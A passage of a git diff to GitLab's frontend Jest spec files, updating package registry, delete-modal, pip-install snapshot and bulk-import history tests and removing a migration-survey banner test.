expect(findClipboardButton().attributes('disabled')).toBe('true');
});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js
index c6b5138639e..0cbe2755f7e 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js
@@ -61,14 +61,14 @@ describe('Package History', () => {
);
});
describe.each`
- name | amount | icon | text | timeAgoTooltip | link
- ${'created-on'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'clock'} | ${'Test package version 1.0.0 was first created'} | ${mavenPackage.created_at} | ${null}
- ${'first-pipeline-commit'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'commit'} | ${'Created by commit #sha-baz on branch branch-name'} | ${null} | ${mockPipelineInfo.project.commit_url}
- ${'first-pipeline-pipeline'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pipeline'} | ${'Built by pipeline #1 triggered by foo'} | ${mockPipelineInfo.created_at} | ${mockPipelineInfo.project.pipeline_url}
- ${'published'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'package'} | ${'Published to the baz project Package Registry'} | ${mavenPackage.created_at} | ${null}
- ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'history'} | ${'Package has 1 archived update'} | ${null} | ${null}
- ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 3} | ${'history'} | ${'Package has 2 archived updates'} | ${null} | ${null}
- ${'pipeline-entry'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pencil'} | ${'Package updated by commit #sha-baz on branch branch-name, built by pipeline #3, and published to the registry'} | ${mavenPackage.created_at} | ${mockPipelineInfo.project.commit_url}
+ name | amount | icon | text | timeAgoTooltip | link
+ ${'created-on'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'clock'} | ${'Test package version 1.0.0 was first created'} | ${mavenPackage.created_at} | ${null}
+ ${'first-pipeline-commit'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'commit'} | ${'Created by commit sha-baz on branch branch-name'} | ${null} | ${mockPipelineInfo.project.commit_url}
+ ${'first-pipeline-pipeline'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pipeline'} | ${'Built by pipeline #1 triggered by foo'} | ${mockPipelineInfo.created_at} | ${mockPipelineInfo.project.pipeline_url}
+ ${'published'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'package'} | ${'Published to the baz project Package Registry'} | ${mavenPackage.created_at} | ${null}
+ ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'history'} | ${'Package has 1 archived update'} | ${null} | ${null}
+ ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 3} | ${'history'} | ${'Package has 2 archived updates'} | ${null} | ${null}
+ ${'pipeline-entry'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pencil'} | ${'Package updated by commit sha-baz on branch branch-name, built by pipeline #3, and published to the registry'} | ${mavenPackage.created_at} | ${mockPipelineInfo.project.commit_url}
`(
'with $amount pipelines history element $name',
({ name, icon, text, timeAgoTooltip, link, amount }) => {
diff --git a/spec/frontend/packages_and_registries/package_registry/components/delete_modal_spec.js b/spec/frontend/packages_and_registries/package_registry/components/delete_modal_spec.js
index e0e26434680..9c1ebf5a2eb 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/delete_modal_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/delete_modal_spec.js
@@ -63,6 +63,14 @@ describe('DeleteModal', () => {
expect(wrapper.emitted('confirm')).toHaveLength(1);
});
+ it('emits cancel when cancel event is emitted', () => {
+ expect(wrapper.emitted('cancel')).toBeUndefined();
+
+ findModal().vm.$emit('cancel');
+
+ expect(wrapper.emitted('cancel')).toHaveLength(1);
+ });
+
it('show calls gl-modal show', () => {
findModal().vm.show();
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/pypi_installation_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/pypi_installation_spec.js.snap
index c4020eeb75f..b2375da7b11 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/pypi_installation_spec.js.snap
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/pypi_installation_spec.js.snap
@@ -114,7 +114,7 @@ exports[`PypiInstallation renders all the messages 1`] = `
aria-live="polite"
class="btn input-group-text btn-default btn-md gl-button btn-default-secondary btn-icon"
data-clipboard-handle-tooltip="false"
- data-clipboard-text="pip install @gitlab-org/package-15 --extra-index-url http://__token__:<your_personal_token>@gdk.test:3000/api/v4/projects/1/packages/pypi/simple"
+ data-clipboard-text="pip install @gitlab-org/package-15 --index-url http://__token__:<your_personal_token>@gdk.test:3000/api/v4/projects/1/packages/pypi/simple"
id="clipboard-button-6"
title="Copy Pip command"
type="button"
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/package_history_spec.js b/spec/frontend/packages_and_registries/package_registry/components/details/package_history_spec.js
index ec2e833552a..bb2fa9eb6f5 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/package_history_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/package_history_spec.js
@@ -131,14 +131,14 @@ describe('Package History', () => {
});
describe.each`
- name | amount | icon | text | timeAgoTooltip | link
- ${'created-on'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'clock'} | ${'@gitlab-org/package-15 version 1.0.0 was first created'} | ${packageData().createdAt} | ${null}
- ${'first-pipeline-commit'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'commit'} | ${'Created by commit #b83d6e39 on branch master'} | ${null} | ${onePipeline.commitPath}
- ${'first-pipeline-pipeline'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pipeline'} | ${'Built by pipeline #1 triggered by Administrator'} | ${onePipeline.createdAt} | ${onePipeline.path}
- ${'published'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'package'} | ${'Published to the baz project Package Registry'} | ${packageData().createdAt} | ${null}
- ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'history'} | ${'Package has 1 archived update'} | ${null} | ${null}
- ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 3} | ${'history'} | ${'Package has 2 archived updates'} | ${null} | ${null}
- ${'pipeline-entry'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pencil'} | ${'Package updated by commit #b83d6e39 on branch master, built by pipeline #3, and published to the registry'} | ${packageData().createdAt} | ${onePipeline.commitPath}
+ name | amount | icon | text | timeAgoTooltip | link
+ ${'created-on'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'clock'} | ${'@gitlab-org/package-15 version 1.0.0 was first created'} | ${packageData().createdAt} | ${null}
+ ${'first-pipeline-commit'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'commit'} | ${'Created by commit b83d6e39 on branch master'} | ${null} | ${onePipeline.commitPath}
+ ${'first-pipeline-pipeline'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pipeline'} | ${'Built by pipeline #1 triggered by Administrator'} | ${onePipeline.createdAt} | ${onePipeline.path}
+ ${'published'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'package'} | ${'Published to the baz project Package Registry'} | ${packageData().createdAt} | ${null}
+ ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'history'} | ${'Package has 1 archived update'} | ${null} | ${null}
+ ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 3} | ${'history'} | ${'Package has 2 archived updates'} | ${null} | ${null}
+ ${'pipeline-entry'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pencil'} | ${'Package updated by commit b83d6e39 on branch master, built by pipeline #3, and published to the registry'} | ${packageData().createdAt} | ${onePipeline.commitPath}
`(
'with $amount pipelines history element $name',
({ name, icon, text, timeAgoTooltip, link, amount }) => {
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/package_versions_list_spec.js b/spec/frontend/packages_and_registries/package_registry/components/details/package_versions_list_spec.js
index f0fa9592419..20a459e2c1a 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/package_versions_list_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/package_versions_list_spec.js
@@ -1,7 +1,7 @@
-import { GlKeysetPagination } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import PackageVersionsList from '~/packages_and_registries/package_registry/components/details/package_versions_list.vue';
import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+import RegistryList from '~/packages_and_registries/shared/components/registry_list.vue';
import VersionRow from '~/packages_and_registries/package_registry/components/details/version_row.vue';
import { packageData } from '../../mock_data';
@@ -21,7 +21,7 @@ describe('PackageVersionsList', () => {
const uiElements = {
findLoader: () => wrapper.findComponent(PackagesListLoader),
- findListPagination: () => wrapper.findComponent(GlKeysetPagination),
+ findRegistryList: () => wrapper.findComponent(RegistryList),
findEmptySlot: () => wrapper.findComponent(EmptySlotStub),
findListRow: () => wrapper.findAllComponents(VersionRow),
};
@@ -33,6 +33,9 @@ describe('PackageVersionsList', () => {
isLoading: false,
...props,
},
+ stubs: {
+ RegistryList,
+ },
slots: {
'empty-state': EmptySlotStub,
},
@@ -55,8 +58,8 @@ describe('PackageVersionsList', () => {
expect(uiElements.findEmptySlot().exists()).toBe(false);
});
- it('does not display pagination', () => {
- expect(uiElements.findListPagination().exists()).toBe(false);
+ it('does not display registry list', () => {
+ expect(uiElements.findRegistryList().exists()).toBe(false);
});
});
@@ -77,8 +80,8 @@ describe('PackageVersionsList', () => {
expect(uiElements.findListRow().exists()).toBe(false);
});
- it('does not display pagination', () => {
- expect(uiElements.findListPagination().exists()).toBe(false);
+ it('does not display registry list', () => {
+ expect(uiElements.findRegistryList().exists()).toBe(false);
});
});
@@ -87,6 +90,19 @@ describe('PackageVersionsList', () => {
mountComponent();
});
+ it('displays package registry list', () => {
+ expect(uiElements.findRegistryList().exists()).toEqual(true);
+ });
+
+ it('binds the right props', () => {
+ expect(uiElements.findRegistryList().props()).toMatchObject({
+ items: packageList,
+ pagination: {},
+ isLoading: false,
+ hiddenDelete: true,
+ });
+ });
+
it('displays package version rows', () => {
expect(uiElements.findListRow().exists()).toEqual(true);
expect(uiElements.findListRow()).toHaveLength(packageList.length);
@@ -102,27 +118,6 @@ describe('PackageVersionsList', () => {
});
});
- describe('pagination display', () => {
- it('does not display pagination if there is no previous or next page', () => {
- expect(uiElements.findListPagination().exists()).toBe(false);
- });
-
- it('displays pagination if pageInfo.hasNextPage is true', async () => {
- await wrapper.setProps({ pageInfo: { hasNextPage: true } });
- expect(uiElements.findListPagination().exists()).toBe(true);
- });
-
- it('displays pagination if pageInfo.hasPreviousPage is true', async () => {
- await wrapper.setProps({ pageInfo: { hasPreviousPage: true } });
- expect(uiElements.findListPagination().exists()).toBe(true);
- });
-
- it('displays pagination if both pageInfo.hasNextPage and pageInfo.hasPreviousPage are true', async () => {
- await wrapper.setProps({ pageInfo: { hasNextPage: true, hasPreviousPage: true } });
- expect(uiElements.findListPagination().exists()).toBe(true);
- });
- });
-
it('does not display loader', () => {
expect(uiElements.findLoader().exists()).toBe(false);
});
@@ -137,14 +132,14 @@ describe('PackageVersionsList', () => {
mountComponent({ pageInfo: { hasNextPage: true } });
});
- it('emits prev-page event when paginator emits prev event', () => {
- uiElements.findListPagination().vm.$emit('prev');
+ it('emits prev-page event when registry list emits prev event', () => {
+ uiElements.findRegistryList().vm.$emit('prev-page');
expect(wrapper.emitted('prev-page')).toHaveLength(1);
});
- it('emits next-page when paginator emits next event', () => {
- uiElements.findListPagination().vm.$emit('next');
+ it('emits next-page when registry list emits next event', () => {
+ uiElements.findRegistryList().vm.$emit('next-page');
expect(wrapper.emitted('next-page')).toHaveLength(1);
});
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/pypi_installation_spec.js b/spec/frontend/packages_and_registries/package_registry/components/details/pypi_installation_spec.js
index 20acb0872e5..4a27f8011df 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/pypi_installation_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/pypi_installation_spec.js
@@ -16,7 +16,7 @@ const packageEntity = { ...packageData(), packageType: PACKAGE_TYPE_PYPI };
describe('PypiInstallation', () => {
let wrapper;
- const pipCommandStr = `pip install @gitlab-org/package-15 --extra-index-url ${packageEntity.pypiUrl}`;
+ const pipCommandStr = `pip install @gitlab-org/package-15 --index-url ${packageEntity.pypiUrl}`;
const pypiSetupStr = `[gitlab]
repository = ${packageEntity.pypiSetupUrl}
username = __token__
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js b/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js
index 7cc5bea0f7a..5e9cb8fbb0b 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js
@@ -1,14 +1,19 @@
import { GlAlert, GlSprintf } from '@gitlab/ui';
import { nextTick } from 'vue';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { stubComponent } from 'helpers/stub_component';
import PackagesListRow from '~/packages_and_registries/package_registry/components/list/package_list_row.vue';
import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
import DeletePackageModal from '~/packages_and_registries/shared/components/delete_package_modal.vue';
+import DeleteModal from '~/packages_and_registries/package_registry/components/delete_modal.vue';
import RegistryList from '~/packages_and_registries/shared/components/registry_list.vue';
import {
DELETE_PACKAGE_TRACKING_ACTION,
+ DELETE_PACKAGES_TRACKING_ACTION,
REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
+ REQUEST_DELETE_PACKAGES_TRACKING_ACTION,
CANCEL_DELETE_PACKAGE_TRACKING_ACTION,
+ CANCEL_DELETE_PACKAGES_TRACKING_ACTION,
} from '~/packages_and_registries/package_registry/constants';
import PackagesList from '~/packages_and_registries/package_registry/components/list/packages_list.vue';
import Tracking from '~/tracking';
@@ -44,6 +49,7 @@ describe('packages_list', () => {
const findRegistryList = () => wrapper.findComponent(RegistryList);
const findPackagesListRow = () => wrapper.findComponent(PackagesListRow);
const findErrorPackageAlert = () => wrapper.findComponent(GlAlert);
+ const findDeletePackagesModal = () => wrapper.findComponent(DeleteModal);
const mountComponent = (props) => {
wrapper = shallowMountExtended(PackagesList, {
@@ -53,6 +59,11 @@ describe('packages_list', () => {
},
stubs: {
DeletePackageModal,
+ DeleteModal: stubComponent(DeleteModal, {
+ methods: {
+ show: jest.fn(),
+ },
+ }),
GlSprintf,
RegistryList,
},
@@ -125,20 +136,48 @@ describe('packages_list', () => {
});
});
- describe('when the user can destroy the package', () => {
- beforeEach(async () => {
+ describe.each`
+ description | finderFunction | deletePayload
+ ${'when the user can destroy the package'} | ${findPackagesListRow} | ${firstPackage}
+ ${'when the user can bulk destroy packages and deletes only one package'} | ${findRegistryList} | ${[firstPackage]}
+ `('$description', ({ finderFunction, deletePayload }) => {
+ let eventSpy;
+ const category = 'UI::NpmPackages';
+
+ beforeEach(() => {
+ eventSpy = jest.spyOn(Tracking, 'event');
mountComponent();
- await findPackagesListRow().vm.$emit('delete', firstPackage);
+ finderFunction().vm.$emit('delete', deletePayload);
});
it('passes itemToBeDeleted to the modal', () => {
expect(findPackageListDeleteModal().props('itemToBeDeleted')).toStrictEqual(firstPackage);
});
- it('emits package:delete when modal confirms', async () => {
- await findPackageListDeleteModal().vm.$emit('ok');
+ it('requesting delete tracks the right action', () => {
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
+ expect.any(Object),
+ );
+ });
+
+ describe('when modal confirms', () => {
+ beforeEach(() => {
+ findPackageListDeleteModal().vm.$emit('ok');
+ });
+
+ it('emits package:delete when modal confirms', () => {
+ expect(wrapper.emitted('package:delete')[0]).toEqual([firstPackage]);
+ });
- expect(wrapper.emitted('package:delete')[0]).toEqual([firstPackage]);
+ it('tracks the right action', () => {
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ DELETE_PACKAGE_TRACKING_ACTION,
+ expect.any(Object),
+ );
+ });
});
it.each(['ok', 'cancel'])('resets itemToBeDeleted when modal emits %s', async (event) => {
@@ -146,26 +185,73 @@ describe('packages_list', () => {
expect(findPackageListDeleteModal().props('itemToBeDeleted')).toBeNull();
});
+
+ it('canceling delete tracks the right action', () => {
+ findPackageListDeleteModal().vm.$emit('cancel');
+
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ CANCEL_DELETE_PACKAGE_TRACKING_ACTION,
+ expect.any(Object),
+ );
+ });
});
describe('when the user can bulk destroy packages', () => {
+ let eventSpy;
+ const items = [firstPackage, secondPackage];
+
beforeEach(() => {
+ eventSpy = jest.spyOn(Tracking, 'event');
mountComponent();
+ findRegistryList().vm.$emit('delete', items);
});
- it('passes itemToBeDeleted to the modal when there is only one package', async () => {
- await findRegistryList().vm.$emit('delete', [firstPackage]);
-
- expect(findPackageListDeleteModal().props('itemToBeDeleted')).toStrictEqual(firstPackage);
+ it('passes itemsToBeDeleted to the modal', () => {
+ expect(findDeletePackagesModal().props('itemsToBeDeleted')).toStrictEqual(items);
expect(wrapper.emitted('delete')).toBeUndefined();
});
- it('emits delete when there is more than one package', () => {
- const items = [firstPackage, secondPackage];
- findRegistryList().vm.$emit('delete', items);
+ it('requesting delete tracks the right action', () => {
+ expect(eventSpy).toHaveBeenCalledWith(
+ undefined,
+ REQUEST_DELETE_PACKAGES_TRACKING_ACTION,
+ expect.any(Object),
+ );
+ });
+
+ describe('when modal confirms', () => {
+ beforeEach(() => {
+ findDeletePackagesModal().vm.$emit('confirm');
+ });
+
+ it('emits delete event', () => {
+ expect(wrapper.emitted('delete')[0]).toEqual([items]);
+ });
+
+ it('tracks the right action', () => {
+ expect(eventSpy).toHaveBeenCalledWith(
+ undefined,
+ DELETE_PACKAGES_TRACKING_ACTION,
+ expect.any(Object),
+ );
+ });
+ });
+
+ it.each(['confirm', 'cancel'])('resets itemsToBeDeleted when modal emits %s', async (event) => {
+ await findDeletePackagesModal().vm.$emit(event);
- expect(wrapper.emitted('delete')).toHaveLength(1);
- expect(wrapper.emitted('delete')[0]).toEqual([items]);
+ expect(findDeletePackagesModal().props('itemsToBeDeleted')).toHaveLength(0);
+ });
+
+ it('canceling delete tracks the right action', () => {
+ findDeletePackagesModal().vm.$emit('cancel');
+
+ expect(eventSpy).toHaveBeenCalledWith(
+ undefined,
+ CANCEL_DELETE_PACKAGES_TRACKING_ACTION,
+ expect.any(Object),
+ );
});
});
@@ -223,44 +309,4 @@ describe('packages_list', () => {
expect(wrapper.emitted('next-page')).toHaveLength(1);
});
});
-
- describe('tracking', () => {
- let eventSpy;
- const category = 'UI::NpmPackages';
-
- beforeEach(() => {
- eventSpy = jest.spyOn(Tracking, 'event');
- mountComponent();
- findPackagesListRow().vm.$emit('delete', firstPackage);
- return nextTick();
- });
-
- it('requesting the delete tracks the right action', () => {
- expect(eventSpy).toHaveBeenCalledWith(
- category,
- REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
- expect.any(Object),
- );
- });
-
- it('confirming delete tracks the right action', () => {
- findPackageListDeleteModal().vm.$emit('ok');
-
- expect(eventSpy).toHaveBeenCalledWith(
- category,
- DELETE_PACKAGE_TRACKING_ACTION,
- expect.any(Object),
- );
- });
-
- it('canceling delete tracks the right action', () => {
- findPackageListDeleteModal().vm.$emit('cancel');
-
- expect(eventSpy).toHaveBeenCalledWith(
- category,
- CANCEL_DELETE_PACKAGE_TRACKING_ACTION,
- expect.any(Object),
- );
- });
- });
});
diff --git a/spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap
deleted file mode 100644
index c2fecf87428..00000000000
--- a/spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap
+++ /dev/null
@@ -1,125 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`PackagesListApp renders 1`] = `
-<div>
- <!---->
-
- <gl-card-stub
- bodyclass="gl-display-flex gl-p-0!"
- class="gl-px-8 gl-py-6 gl-line-height-20 gl-mt-3"
- footerclass=""
- headerclass=""
- >
- <!---->
-
- <div
- class="gl-banner-content"
- >
- <h2
- class="gl-banner-title"
- >
- Help us learn about your registry migration needs
- </h2>
-
- <p>
- If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs.
- </p>
-
- <gl-button-stub
- buttontextclasses=""
- category="primary"
- data-testid="gl-banner-primary-button"
- href="https://gitlab.fra1.qualtrics.com/jfe/form/SV_cHomH9FPzOaiDTU"
- icon=""
- size="medium"
- variant="confirm"
- >
- Take survey
- </gl-button-stub>
-
- </div>
-
- <gl-button-stub
- aria-label="Close banner"
- buttontextclasses=""
- category="tertiary"
- class="gl-banner-close"
- icon="close"
- size="small"
- variant="default"
- />
- </gl-card-stub>
-
- <package-title-stub
- count="2"
- helpurl="/help/user/packages/index"
- />
-
- <package-search-stub
- class="gl-mb-5"
- />
-
- <div>
- <section
- class="gl-display-flex empty-state gl-text-center gl-flex-direction-column"
- >
- <div
- class="gl-max-w-full"
- >
- <div
- class="svg-250 svg-content"
- >
- <img
- alt=""
- class="gl-max-w-full gl-dark-invert-keep-hue"
- role="img"
- src="emptyListIllustration"
- />
- </div>
- </div>
-
- <div
- class="gl-max-w-full gl-m-auto"
- >
- <div
- class="gl-mx-auto gl-my-0 gl-p-5"
- >
- <h1
- class="gl-font-size-h-display gl-line-height-36 h4"
- >
-
- There are no packages yet
-
- </h1>
-
- <p
- class="gl-mt-3"
- >
- Learn how to
- <b-link-stub
- class="gl-link"
- event="click"
- href="/help/user/packages/package_registry/index"
- routertag="a"
- target="_blank"
- >
- publish and share your packages
- </b-link-stub>
- with GitLab.
- </p>
-
- <div
- class="gl-display-flex gl-flex-wrap gl-justify-content-center"
- >
- <!---->
-
- <!---->
- </div>
- </div>
- </div>
- </section>
- </div>
-
- <div />
-</div>
-`;
diff --git a/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js b/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js
index abdb875e839..b3cbd9f5dcf 100644
--- a/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js
@@ -1,23 +1,18 @@
-import { GlAlert, GlBanner, GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
+import { GlAlert, GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
import Vue, { nextTick } from 'vue';
-
import VueApollo from 'vue-apollo';
-import * as utils from '~/lib/utils/common_utils';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import { stubComponent } from 'helpers/stub_component';
import ListPage from '~/packages_and_registries/package_registry/pages/list.vue';
import PackageTitle from '~/packages_and_registries/package_registry/components/list/package_title.vue';
import PackageSearch from '~/packages_and_registries/package_registry/components/list/package_search.vue';
import OriginalPackageList from '~/packages_and_registries/package_registry/components/list/packages_list.vue';
import DeletePackage from '~/packages_and_registries/package_registry/components/functional/delete_package.vue';
-import DeleteModal from '~/packages_and_registries/package_registry/components/delete_modal.vue';
import {
PROJECT_RESOURCE_TYPE,
GROUP_RESOURCE_TYPE,
GRAPHQL_PAGE_SIZE,
- HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE,
EMPTY_LIST_HELP_URL,
PACKAGE_HELP_URL,
DELETE_PACKAGES_ERROR_MESSAGE,
@@ -59,13 +54,11 @@ describe('PackagesListApp', () => {
};
const findAlert = () => wrapper.findComponent(GlAlert);
- const findBanner = () => wrapper.findComponent(GlBanner);
const findPackageTitle = () => wrapper.findComponent(PackageTitle);
const findSearch = () => wrapper.findComponent(PackageSearch);
const findListComponent = () => wrapper.findComponent(PackageList);
const findEmptyState = () => wrapper.findComponent(GlEmptyState);
const findDeletePackage = () => wrapper.findComponent(DeletePackage);
- const findDeletePackagesModal = () => wrapper.findComponent(DeleteModal);
const mountComponent = ({
resolver = jest.fn().mockResolvedValue(packagesListQuery()),
@@ -84,18 +77,12 @@ describe('PackagesListApp', () => {
apolloProvider,
provide,
stubs: {
- GlBanner,
GlEmptyState,
GlLoadingIcon,
GlSprintf,
GlLink,
PackageList,
DeletePackage,
- DeleteModal: stubComponent(DeleteModal, {
- methods: {
- show: jest.fn(),
- },
- }),
},
});
};
@@ -118,14 +105,6 @@ describe('PackagesListApp', () => {
expect(resolver).not.toHaveBeenCalled();
});
- it('renders', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
it('has a package title', async () => {
mountComponent();
@@ -138,70 +117,6 @@ describe('PackagesListApp', () => {
});
});
- describe('package migration survey banner', () => {
- describe('with no cookie set', () => {
- beforeEach(() => {
- utils.setCookie = jest.fn();
-
- mountComponent();
- });
-
- it('displays the banner', () => {
- expect(findBanner().exists()).toBe(true);
- });
-
- it('does not call setCookie', () => {
- expect(utils.setCookie).not.toHaveBeenCalled();
- });
-
- describe('when the close button is clicked', () => {
- beforeEach(() => {
- findBanner().vm.$emit('close');
- });
-
- it('sets the dismissed cookie', () => {
- expect(utils.setCookie).toHaveBeenCalledWith(
- HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE,
- 'true',
- );
- });
-
- it('does not display the banner', () => {
- expect(findBanner().exists()).toBe(false);
- });
- });
-
- describe('when the primary button is clicked', () => {
- beforeEach(() => {
- findBanner().vm.$emit('primary');
- });
-
- it('sets the dismissed cookie', () => {
- expect(utils.setCookie).toHaveBeenCalledWith(
- HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE,
- 'true',
- );
- });
-
- it('does not display the banner', () => {
- expect(findBanner().exists()).toBe(false);
- });
- });
- });
-
- describe('with the dismissed cookie set', () => {
- beforeEach(() => {
- jest.spyOn(utils, 'getCookie').mockReturnValue('true');
-
- mountComponent();
- });
-
- it('does not display the banner', () => {
- expect(findBanner().exists()).toBe(false);
- });
- });
- });
-
describe('search component', () => {
it('exists', () => {
mountComponent();
@@ -372,18 +287,6 @@ describe('PackagesListApp', () => {
describe('bulk delete package', () => {
const items = [{ id: '1' }, { id: '2' }];
- it('deletePackage is bound to package-list package:delete event', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- findListComponent().vm.$emit('delete', [{ id: '1' }, { id: '2' }]);
-
- await waitForPromises();
-
- expect(findDeletePackagesModal().props('itemsToBeDeleted')).toEqual(items);
- });
-
it('calls mutation with the right values and shows success alert', async () => {
const mutationResolver = jest.fn().mockResolvedValue(packagesDestroyMutation());
mountComponent({
@@ -394,8 +297,6 @@ describe('PackagesListApp', () => {
findListComponent().vm.$emit('delete', items);
- findDeletePackagesModal().vm.$emit('confirm');
-
expect(mutationResolver).toHaveBeenCalledWith({
ids: items.map((item) => item.id),
});
@@ -417,8 +318,6 @@ describe('PackagesListApp', () => {
findListComponent().vm.$emit('delete', items);
- findDeletePackagesModal().vm.$emit('confirm');
-
await waitForPromises();
expect(findAlert().exists()).toBe(true);
diff --git a/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js b/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js
index 1790a9c9bf5..1a157beebe4 100644
--- a/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js
+++ b/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js
@@ -1,4 +1,4 @@
-import { GlEmptyState, GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { GlEmptyState, GlLoadingIcon, GlTableLite } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
@@ -23,7 +23,9 @@ describe('BulkImportsHistoryApp', () => {
id: 1,
bulk_import_id: 1,
status: 'finished',
+ entity_type: 'group',
source_full_path: 'top-level-group-12',
+ destination_full_path: 'h5bp/top-level-group-12',
destination_name: 'top-level-group-12',
destination_namespace: 'h5bp',
created_at: '2021-07-08T10:03:44.743Z',
@@ -33,8 +35,10 @@ describe('BulkImportsHistoryApp', () => {
id: 2,
bulk_import_id: 2,
status: 'failed',
+ entity_type: 'project',
source_full_path: 'autodevops-demo',
destination_name: 'autodevops-demo',
+ destination_full_path: 'some-group/autodevops-demo',
destination_namespace: 'flightjs',
parent_id: null,
namespace_id: null,
@@ -74,6 +78,7 @@ describe('BulkImportsHistoryApp', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
+ mock.onGet(API_URL).reply(200, DUMMY_RESPONSE, DEFAULT_HEADERS);
});
afterEach(() => {
@@ -97,11 +102,10 @@ describe('BulkImportsHistoryApp', () => {
});
it('renders table with data when history is available', async () => {
- mock.onGet(API_URL).reply(200, DUMMY_RESPONSE, DEFAULT_HEADERS);
createComponent();
await axios.waitForAll();
- const table = wrapper.findComponent(GlTable);
+ const table = wrapper.findComponent(GlTableLite);
expect(table.exists()).toBe(true);
// can't use .props() or .attributes() here
expect(table.vm.$attrs.items).toHaveLength(DUMMY_RESPONSE.length);
@@ -110,7 +114,6 @@ describe('BulkImportsHistoryApp', () => {
it('changes page when requested by pagination bar', async () => {
const NEW_PAGE = 4;
- mock.onGet(API_URL).reply(200, DUMMY_RESPONSE, DEFAULT_HEADERS);
createComponent();
await axios.waitForAll();
mock.resetHistory();
@@ -126,7 +129,6 @@ describe('BulkImportsHistoryApp', () => {
it('changes page size when requested by pagination bar', async () => {
